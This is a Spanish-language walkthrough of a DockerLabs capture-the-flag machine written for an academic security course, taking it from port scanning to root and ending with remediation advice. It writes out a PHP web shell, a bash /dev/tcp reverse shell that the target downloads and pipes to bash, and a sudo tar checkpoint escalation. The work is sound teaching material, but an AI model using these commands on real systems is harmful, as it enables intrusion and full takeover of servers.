No todos los ataques empiezan con exploits de día cero ni herramientas sofisticadas.
A veces basta con que un desarrollador haya dejado un comentario en el HTML.
Este es el walkthrough completo del laboratorio Forgotten_Portal de DockerLabs, desarrollado como parte del acelerador de ciberseguridad en Nodo EAFIT. La metodología aplicada fue PTES (Penetration Testing Execution Standard). El objetivo: comprometer la máquina completamente y documentar cada decisión técnica como si fuera un entorno real.
Llegamos a root. El camino fue más instructivo que el destino.
Entorno de trabajo.
La máquina objetivo fue desplegada como contenedor Docker directamente dentro de Kali Linux en VirtualBox, usando el script de despliegue automático de DockerLabs:
sudo bash auto_deploy.sh forgotten_portal.tar
Una vez desplegada, la máquina quedó activa en la red interna de Docker con la IP 172.17.0.2. El equipo atacante (Kali Linux) operó desde 10.0.2.15.
Herramientas utilizadas:
| Herramienta | Propósito |
|---|---|
| nmap | Escaneo de puertos y servicios |
| gobuster | Enumeración de directorios web |
| netcat | Recepción de reverse shell |
| python3 | Servidor HTTP temporal |
| base64 | Decodificación de credenciales |
| tar + GTFOBins | Escalación de privilegios |
Fase 1: Exploración.
Verificación de disponibilidad.
Antes de cualquier acción, se verificó que el objetivo estuviera activo:
ping -c 1 172.17.0.2
El TTL de la respuesta fue 64, lo que indica sistema operativo Linux. La máquina estaba activa y accesible.
Escaneo de puertos con Nmap.
Se realizó un escaneo completo sobre todos los puertos TCP con detección de versiones y scripts de reconocimiento:
nmap -p- -sVC --min-rate 5000 -vvv -n -Pn 172.17.0.2

Resultado:
| Puerto | Protocolo | Servicio | Versión |
|---|---|---|---|
| 22 | TCP | SSH | OpenSSH 9.6p1 Ubuntu |
| 80 | TCP | HTTP | Apache httpd 2.4.58 |
El puerto 22 requería credenciales para entrar. El puerto 80 exponía una aplicación web accesible sin autenticación, vector de ataque principal.
Fase 2: Análisis.
Servicio web en el puerto 80.
Al acceder a http://172.17.0.2/ desde Firefox, se encontró el sitio CyberLand Labs, una interfaz visual sin funcionalidad de subida de archivos visible ni rutas adicionales en la navegación.
Aparentemente sin nada interesante. La clave estaba debajo de la superficie.
Hallazgo 1: Comentario sensible en el código fuente.
Al revisar el código fuente con las herramientas de desarrollo del navegador, se encontró un comentario HTML que no debería existir en ningún entorno de producción:

Un solo comentario expuso dos datos críticos:
| Dato expuesto | Valor | Relevancia |
|---|---|---|
| Usuario del sistema | Bob | Posible usuario válido para SSH |
| Ruta oculta | m4ch1n3_upload.html | Página con funcionalidad de subida |
Esto es una vulnerabilidad de exposición de información sensible. Cualquier usuario puede leer el código fuente de una página HTML desde el navegador sin autenticarse.
Hallazgo 2: Formulario de subida con .php permitido.
Al acceder a http://172.17.0.2/m4ch1n3_upload.html, se encontró un portal de documentos con un formulario de subida. Los tipos de archivo soportados eran:
| Extensión | Tipo | ¿Debería estar permitido? |
|---|---|---|
| .txt | Texto plano | Sí |
| Documento | Sí | |
| .php | Código ejecutable | No |
Los archivos .php no son documentos, son código que el servidor ejecuta directamente. Permitir su subida es una vulnerabilidad crítica de tipo File Upload que puede derivar en Remote Code Execution (RCE).
Hallazgo 3: Enumeración de directorios con Gobuster.
Para identificar rutas no visibles en la navegación, se ejecutó:
gobuster dir -u http://172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
El escaneo procesó 220.558 palabras y encontró dos rutas relevantes:
| Ruta | Estado | Significado |
|---|---|---|
| /uploads | 301 | Existe y redirige, aquí se almacenan los archivos subidos |
| /server-status | 403 | Existe pero con acceso denegado |
El directorio /uploads confirmó dónde vivirían los archivos subidos a través del formulario. La trampa estaba lista.
Fase 3: Ataque.
Paso 1: Creación de la web shell.
Se creó un archivo shell.php con una sola línea que convierte cualquier parámetro de URL en un comando ejecutado por el servidor:
echo '<?php system($_GET["cmd"]); ?>' > shell.php
Paso 2: Carga al servidor.
El archivo se subió a través del formulario en /m4ch1n3_upload.html. El servidor lo aceptó sin restricción y confirmó la carga exitosa. Al verificar /uploads, shell.php ya estaba ahí.
Paso 3: Verificación de ejecución remota.
Para confirmar que la web shell funcionaba, se ejecutó whoami remotamente:
curl http://172.17.0.2/uploads/shell.php?cmd=whoami

Ejecución remota confirmada. El servidor ejecutó el comando como si lo hubiéramos escrito en su terminal.
Paso 4: Obtención de la reverse shell.
Una web shell básica es útil pero limitada. Para obtener una terminal interactiva completa se configuró una reverse shell en tres pasos:
1. Crear el payload en Kali:
echo 'bash -i >& /dev/tcp/10.0.2.15/443 0>&1' > rev.sh
2. Levantar un servidor HTTP temporal para servirlo:
python3 -m http.server 8080
3. Poner Kali a escuchar en el puerto 443:
nc -nlvp 443
4. Ejecutar desde la web shell:
curl "http://172.17.0.2/uploads/shell.php?cmd=curl+http://10.0.2.15:8080/rev.sh|bash"
La máquina objetivo descargó y ejecutó el payload. Kali recibió la conexión entrante como www-data.
Paso 5: Estabilización de la shell.
Una reverse shell básica es frágil, sin autocompletado, sin flechas, un Ctrl+C la cierra. Se estabilizó así:
script /dev/null -c bash
# Ctrl+Z para suspender
stty raw -echo; fg
export TERM=xterm
Terminal completamente funcional dentro del servidor.
Fase 4: Acceso profundo.
Reconocimiento interno.
Con acceso como www-data, se empezó a mapear el sistema para encontrar rutas de escalación.
Usuarios del sistema identificados en /etc/passwd:
| Usuario | Shell | Accesible desde www-data |
|---|---|---|
| alice | /bin/bash | No |
| bob | /bin/bash | No |
| charlie | /bin/bash | No |
| cyberland | /bin/sh | No |
| ubuntu | /bin/bash | No |
Los binarios SUID no mostraron vectores prometedores, todos eran estándar de Ubuntu.
Hallazgo clave: Credenciales en el access_log.
Al explorar el directorio raíz del servidor web (/var/www/html), se encontró un archivo llamado access_log. Dentro había una línea que no debería existir en ningún log:

Una credencial codificada en Base64 dentro de un log accesible. Base64 no es cifrado, es codificación reversible que cualquier atacante puede revertir en segundos:
echo "YWxpY2U6czNjcjN0cEBzc3cwcmReNDg3" | base64 -d
Resultado: alice:s3cr3tp@ssw0rd^487
Credenciales obtenidas sin fuerza bruta ni técnicas avanzadas.
Movimiento lateral: alice.
su alice
# Password: s3cr3tp@ssw0rd^487
Acceso exitoso. En el directorio de alice se encontraron cuatro archivos de interés:
| Archivo | Relevancia |
|---|---|
| user.txt | Flag de nivel usuario |
| .ssh/ | Directorio con claves SSH |
| incidents/ | Reportes internos del sistema |
| .bash_history | Historial de comandos |
La flag de usuario: CYBERLAND{us3r_l3v3l_fl4g}
El reporte de incidentes que lo cambió todo.
El directorio incidents/ contenía un reporte interno de auditoría. Su contenido reveló una configuración errónea crítica:
Una única clave
id_rsafue generada y replicada en todos los directorios/home/<usuario>/.ssh/del sistema. Adicionalmente, la passphrase del usuario bob quedó expuesta accidentalmente en un archivo temporal.
| Dato | Valor |
|---|---|
| Clave privada | /home/alice/.ssh/id_rsa |
| Passphrase de bob | cyb3r_s3curity |
Movimiento lateral: bob.
SSH rechazó la clave inicialmente porque los permisos eran demasiado abiertos. Se corrigió:
chmod 600 .ssh/id_rsa
ssh -i .ssh/id_rsa -o PreferredAuthentications=publickey bob@localhost
# Passphrase: cyb3r_s3curity
Acceso como bob confirmado. La misma clave privada funcionó para un usuario completamente diferente.
Escalación de privilegios a root.
Se verificaron los permisos sudo de bob:
sudo -l
Resultado: (ALL) NOPASSWD: /bin/tar
Bob podía ejecutar tar como root sin contraseña. Consultando GTFOBins, se identificó que tar puede abusarse para obtener una shell como root mediante checkpoints:
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
Resultado: whoami → root

Lo que esto significa en un entorno real.
Este laboratorio no usó exploits sofisticados. Cada paso aprovechó errores humanos y de configuración que existen en sistemas de producción reales:
Comentario en el código fuente → expuso la ruta de ataque principal antes de que tocáramos nada.
Extensión .php permitida en el formulario → convirtió un formulario de documentos en una puerta de entrada al servidor.
Credenciales en Base64 dentro de un log → eliminó la necesidad de fuerza bruta completamente.
Clave SSH replicada entre usuarios → anuló el propósito de la autenticación por clave.
tar con sudo sin contraseña → un binario legítimo del sistema operativo se convirtió en el vector de escalación final.
Un atacante real con acceso a esta máquina habría tenido control total del servidor en menos de una hora. Sin alertas. Sin detección.
Recomendaciones.
Formulario de subida: restringir extensiones a .txt y .pdf únicamente. Almacenar los archivos fuera del directorio raíz del servidor para que no sean ejecutables desde el navegador.
Código fuente: ningún comentario con rutas, usuarios o información interna debe llegar a producción. Es desarrollo seguro básico.
Credenciales: las contraseñas no se guardan en logs. Base64 no es cifrado. Para almacenamiento seguro: bcrypt o Argon2.
Claves SSH: cada usuario debe tener su propia clave única. Una clave replicada entre todos los usuarios del sistema no ofrece ninguna protección real.
Permisos sudo: principio de mínimo privilegio. Si tar no es necesario como root, no debe estarlo.
El informe técnico completo está disponible en GitHub.
Este ejercicio fue desarrollado en un entorno controlado con fines académicos dentro del acelerador de ciberseguridad de Nodo EAFIT. Todas las actividades se realizaron sobre infraestructura propia sin afectar sistemas reales ni terceros.
Lo que esto le costaría a una empresa real.
El laboratorio Forgotten_Portal es ficticio. Las vulnerabilidades no lo son.
Cada uno de los cinco errores que permitieron comprometer este servidor existe hoy en sistemas de producción reales. No en empresas descuidadas ni en startups sin recursos, en organizaciones de todos los tamaños que simplemente nunca hicieron la pregunta correcta: ¿qué pasa si alguien mira con cuidado?
El atacante no necesitó nada especial.
No hubo exploits de día cero. No hubo ingeniería social sofisticada. No hubo semanas de reconocimiento. Un comentario en el HTML, un formulario mal configurado y un archivo de log con una contraseña en Base64 fueron suficientes para obtener control total del servidor en menos de una hora.
Eso es lo que hace que este escenario sea relevante: la mayoría de los ataques reales se parecen más a esto que a las películas.
Qué pierde una organización cuando esto ocurre.
Continuidad operativa. Con acceso root, un atacante puede apagar servicios, cifrar información o simplemente mantenerse invisible durante meses mientras extrae datos. El tiempo promedio que un atacante permanece dentro de un sistema antes de ser detectado supera los 200 días según múltiples reportes de la industria. Durante ese tiempo, opera con total libertad.
Datos de usuarios. Cualquier información almacenada en el servidor, bases de datos, archivos, correos, credenciales, está comprometida desde el momento en que el atacante obtiene acceso. En Colombia, la Ley 1581 de Protección de Datos Personales establece obligaciones de notificación y puede derivar en sanciones. En contextos internacionales, el GDPR puede implicar multas de hasta el 4% de la facturación anual.
Reputación. Este es el daño más difícil de cuantificar y el más lento de recuperar. Un incidente de seguridad público destruye la confianza de clientes, aliados e inversionistas de una forma que ningún comunicado de prensa puede reparar rápidamente.
Lo que hace diferente a una organización preparada.
No es el presupuesto. No es el tamaño del equipo de TI.
Es haber respondido antes del incidente estas preguntas básicas:
- ¿Qué puede subir un usuario a nuestros formularios?
- ¿Dónde están guardadas nuestras credenciales?
- ¿Quién tiene acceso a qué y por qué?
- Si alguien entra hoy, ¿en cuánto tiempo nos damos cuenta?
Todas las vulnerabilidades documentadas en este writeup se corrigen con configuración, no con inversión. El comentario en el HTML se elimina antes de hacer deploy. El formulario se restringe a extensiones seguras. Las credenciales se almacenan con cifrado real. Las claves SSH se generan individualmente. Los permisos sudo se revisan.
La seguridad no empieza con herramientas. Empieza con decisiones.
Una última cosa.
Si llegaste hasta aquí leyendo este post, probablemente estás construyendo algo, un producto, una aplicación, una plataforma. Antes de lanzarlo, vale la pena hacer una pregunta incómoda: ¿qué encontraría alguien que mire con cuidado?
Si quieres saberlo antes que un atacante, hablemos.